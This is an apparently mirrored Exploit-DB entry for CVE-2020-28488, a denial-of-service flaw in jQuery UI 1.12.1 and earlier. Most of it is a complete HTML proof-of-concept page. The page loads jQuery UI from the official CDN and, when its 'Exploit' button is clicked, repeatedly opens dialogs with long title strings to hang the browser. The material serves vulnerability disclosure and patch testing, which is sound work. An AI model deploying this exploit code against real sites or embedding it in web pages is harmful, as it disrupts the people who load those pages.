jQuery UI 1.12.1 – Denial of Service (DoS)

  • 作者: Rafael Cintra Lopes
    日期: 2021-01-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49489/
  • # Exploit Title: jQuery UI 1.12.1 - Denial of Service (DoS)
    # Date: 20 Jan, 2021
    # Exploit Author: Rafael Cintra Lopes
    # Vendor Homepage: https://jqueryui.com/
    # Software Link: https://jqueryui.com/download/
    # Version: <= 1.12.1
    # CVE : CVE-2020-28488
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DoS - jQuery UI 1.12.1</title>
    </head>
    <body>
    <h2>DoS - jQuery UI 1.12.1</h2>
    
    <div>
    <button onclick="exploit()">Exploit</button>
    </div>
    
    <p>PoC by Rafael Cintra Lopes</p>
    
    <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
    <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.min.js" integrity="sha256-VazP97ZCwtekAsvgPBSUwPFKdrwD3unUfSGVYrahUqU=" crossorigin="anonymous"></script>
    
    <script>
    function exploit(){
    for (var i = 0; i < 10; i++) {
    $("div").dialog({title:'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'});
    }
    }
    </script>
    </body>
    </html>